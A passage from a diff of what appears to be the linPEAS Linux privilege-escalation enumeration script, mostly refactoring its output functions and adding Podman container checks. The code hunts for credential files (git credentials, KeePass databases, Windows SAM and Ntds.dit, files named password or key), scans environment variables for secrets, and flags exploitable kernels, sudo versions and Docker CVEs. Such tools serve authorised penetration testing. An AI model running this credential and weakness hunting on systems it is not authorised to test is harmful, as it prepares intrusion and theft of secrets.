"^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.msmtprc$" | sort | uniq | head -n 70) + PSTORAGE_GITHUB=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70) + PSTORAGE_SVN=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.svn$" | sort | uniq | head -n 70) + PSTORAGE_KEEPASS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70) + PSTORAGE_FTP=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|ws_ftp\.ini$" | sort | uniq | head -n 70) + PSTORAGE_BIND=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "bind$" | sort | uniq | head -n 70) + PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_MNT\n$FIND_DIR_TMP\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_VAR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_OPT\n$FIND_DIR_USR\n$FIND_DIR_SBIN\n$FIND_DIR_CDROM\n$FIND_DIR_SNAP" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "seeddms.*$" | sort | uniq | head -n 70) + PSTORAGE_DDCLIENT=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70) + PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70) + PSTORAGE_OTHER_INTERESTING_FILES=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70) + PSTORAGE_WINDOWS_FILES=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|php\.ini$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security$|security\.sav$|server\.xml$|services\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70) + PSTORAGE_DATABASE=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70) + PSTORAGE_BACKUPS=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E "backup$|backups$" | sort | uniq | head -n 70) + PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_SRV\n$FIND_SYSTEM\n$FIND_LIB\n$FIND_SYS\n$FIND_BIN\n$FIND_ETC\n$FIND_RUN\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_USR\n$FIND_OPT\n$FIND_MEDIA\n$FIND_LIB64\n$FIND_SNAP\n$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_TMP\n$FIND_CACHE\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM" | grep -E "^/applications|^/.cache|^/private|^/usr|^/tmp|^/bin|^/cdrom|^/var|^/opt|^/media|^/etc|^/sbin|^/srv|^/mnt|^$GREPHOMESEARCH|^/snap" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70) + + ##### POST SERACH VARIABLES ##### - backup_folders=`echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS" | tr ' ' '\n' | grep -v "/lib" | grep -E "backup$|backups$"` - backup_folders_row="`echo $backup_folders | tr '\n' ' '`" - printf $Y"DONE\n"$NC + backup_folders_row="`echo $PSTORAGE_BACKUPS | tr '\n' ' '`" + printf ${YELLOW}"DONE\n"$NC echo "" fi @@ -1099,27 +1181,27 @@ if [ "`echo $CHECKS | grep SysI`" ]; then ########################################### #-------------) System Info (-------------# ########################################### - printf $B"════════════════════════════════════╣ "$GREEN"System Information"$B" ╠════════════════════════════════════\n"$NC + print_title "System Information" #-- SY) OS - printf $Y"[+] "$GREEN"Operative system\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits\n"$NC -(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel5_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel5_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel5_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_4,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel7,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelB,${C}[1;31m&${C}[0m," + print_2title "Operative system" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" + (cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," lsb_release -a 2>/dev/null echo "" - #-- SY) Sudo - printf $Y"[+] "$GREEN"Sudo version\n"$NC + #-- SY) Sudo + print_2title "Sudo version" if [ "`command -v sudo 2>/dev/null`" ]; then - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version\n"$NC - sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${C}[1;31m&${C}[0m," + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version" + sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," else echo_not_found "sudo" fi echo "" #--SY) USBCreator - printf $Y"[+] "$GREEN"USBCreator\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation\n"$NC + print_2title "USBCreator" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" if busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator; then pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") if [ -z "$pc_version" ]; then @@ -1130,53 +1212,54 @@ if [ "`echo $CHECKS | grep SysI`" ]; then pc_major=$(echo "$pc_version" | cut -d. -f1) pc_minor=$(echo "$pc_version" | cut -d. -f2) if [ $pc_length -eq 4 -a $pc_major -eq 0 -a $pc_minor -lt 21 ]; then - echo "Vulnerable!!" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED}," fi fi fi echo "" #-- SY) PATH - printf $Y"[+] "$GREEN"PATH\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses\n"$NC - echo $OLDPATH 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${C}[1;31;103m&${C}[0m,g" - echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${C}[1;31;103m&${C}[0m,g" + print_2title "PATH" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses" + echo $OLDPATH 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" + echo "New path exported: $PATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\. ,${SED_RED_YELLOW},g" echo "" #-- SY) Date - printf $Y"[+] "$GREEN"Date\n"$NC + print_2title "Date" date 2>/dev/null || echo_not_found "date" echo "" #-- SY) System stats - printf $Y"[+] "$GREEN"System stats\n"$NC + print_2title "System stats" (df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk" free 2>/dev/null || echo_not_found "free" echo "" - + #-- SY) CPU info - printf $Y"[+] "$GREEN"CPU info\n"$NC + print_2title "CPU info" lscpu 2>/dev/null || echo_not_found "lscpu" echo "" - #-- SY) Environment vars - printf $Y"[+] "$GREEN"Environment\n"$NC - printf $B"[i] "$Y"Any private information inside environment variables?\n"$NC - (env || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|sudocapsB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY],${C}[1;31m&${C}[0m,g" || echo_not_found "env || set" + #-- SY) Environment vars + print_2title "Environment" + print_info "Any private information inside environment variables?" + (env || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|sudocapsB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY],${SED_RED},g" || echo_not_found "env || set" echo "" #-- SY) Dmesg - printf $Y"[+] "$GREEN"Searching Signature verification failed in dmseg\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed\n"$NC + print_2title "Searching Signature verification failed in dmseg" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed" (dmesg 2>/dev/null | grep "signature") || echo_not_found echo "" #-- SY) AppArmor - printf $Y"[+] "$GREEN"AppArmor enabled? .............. "$NC + print_2title "Linux Protections" + print_list "AppArmor enabled? .............. "$NC if [ `command -v aa-status 2>/dev/null` ]; then - aa-status 2>&1 | sed "s,disabled,${C}[1;31m&${C}[0m," + aa-status 2>&1 | sed "s,disabled,${SED_RED}," elif [ `command -v apparmor_status 2>/dev/null` ]; then - apparmor_status 2>&1 | sed "s,disabled,${C}[1;31m&${C}[0m," + apparmor_status 2>&1 | sed "s,disabled,${SED_RED}," elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then ls -d /etc/apparmor* else @@ -1184,37 +1267,37 @@ if [ "`echo $CHECKS | grep SysI`" ]; then fi #-- SY) grsecurity - printf $Y"[+] "$GREEN"grsecurity present? ............ "$NC + print_list "grsecurity present? ............ "$NC ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity") #-- SY) PaX - printf $Y"[+] "$GREEN"PaX bins present? .............. "$NC - (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX") + print_list "PaX bins present? .............. "$NC + (command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX") #-- SY) Execshield - printf $Y"[+] "$GREEN"Execshield enabled? ............ "$NC - (grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${C}[1;31m&${C}[0m," + print_list "Execshield enabled? ............ "$NC + (grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED}," #-- SY) SElinux - printf $Y"[+] "$GREEN"SELinux enabled? ............... "$NC - (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${C}[1;31m&${C}[0m," + print_list "SELinux enabled? ............... "$NC + (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," #-- SY) ASLR - printf $Y"[+] "$GREEN"Is ASLR enabled? ............... "$NC + print_list "Is ASLR enabled? ............... "$NC ASLR=`cat /proc/sys/kernel/randomize_va_space 2>/dev/null` - if [ -z "$ASLR" ]; then - echo_not_found "/proc/sys/kernel/randomize_va_space"; + if [ -z "$ASLR" ]; then + echo_not_found "/proc/sys/kernel/randomize_va_space"; else if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi echo "" fi #-- SY) Printer - printf $Y"[+] "$GREEN"Printer? ....................... "$NC + print_list "Printer? ....................... "$NC lpstat -a 2>/dev/null || echo_not_found "lpstat" - + #-- SY) Running in a virtual environment - printf $Y"[+] "$GREEN"Is this a virtual machine? ..... "$NC + print_list "Is this a virtual machine? ..... "$NC hypervisorflag=`cat /proc/cpuinfo 2>/dev/null | grep flags | grep hypervisor` if [ `command -v systemd-detect-virt 2>/dev/null` ]; then detectedvirt=`systemd-detect-virt` @@ -1232,86 +1315,92 @@ if [ "`echo $CHECKS | grep Container`" ]; then ############################################## #---------------) Containers (---------------# ############################################## - printf $B"═════════════════════════════════════════╣ "$GREEN"Containers"$B" ╠══════════════════════════════════════════\n"$NC + print_title "Containers" containerCheck - printf $Y"[+] "$GREEN"Is this a container? ...........$NC $containerType\n" - - printf $Y"[+] "$GREEN"Container related tools present\n"$NC - which $CONTAINER_CMDS - printf $Y"[+] "$GREEN"Any running containers? ........ "$NC + print_2title "Container related tools present" + command -v $CONTAINER_CMDS + + print_2title "Container details" + print_list "Is this a container? ...........$NC $containerType" + + print_list "Any running containers? ........ "$NC # Get counts of running containers for each platform dockercontainers=`docker ps --format "{{.Names}}" 2>/dev/null | wc -l` + podmancontainers=`podman ps --format "{{.Names}}" 2>/dev/null | wc -l` lxccontainers=`lxc list -c n --format csv 2>/dev/null | wc -l` rktcontainers=`rkt list 2>/dev/null | tail -n +2 | wc -l` - if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ]; then + if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then echo_no else containerCounts="" if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi + if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi - echo "Yes $containerCounts" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED}," # List any running containers - if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; docker ps | tail -n +2 2>/dev/null; echo ""; fi - if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; lxc list 2>/dev/null; echo ""; fi - if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; rkt list 2>/dev/null; echo ""; fi + if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi + if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi + if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi + if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi fi - + #If docker if [ "`echo \"$containerType\" | grep -i \"docker\"`" ]; then + print_2title "Docker Container details" inDockerGroup - printf $Y"[+] "$GREEN"Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${C}[1;31;103m&${C}[0m," - printf $Y"[+] "$GREEN"Looking and enumerating Docker Sockets\n"$NC + print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Looking and enumerating Docker Sockets\n"$NC enumerateDockerSockets - printf $Y"[+] "$GREEN"Docker version .................$NC$dockerVersion" + print_list "Docker version .................$NC$dockerVersion" checkDockerVersionExploits - printf $Y"[+] "$GREEN"Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${C}[1;31;103m&${C}[0m," - printf $Y"[+] "$GREEN"Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${C}[1;31;103m&${C}[0m," + print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," if [ "$inContainer" ]; then checkDockerRootless - printf $Y"[+] "$GREEN"Rooless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${C}[1;31m&${C}[0m," | sed -${E} 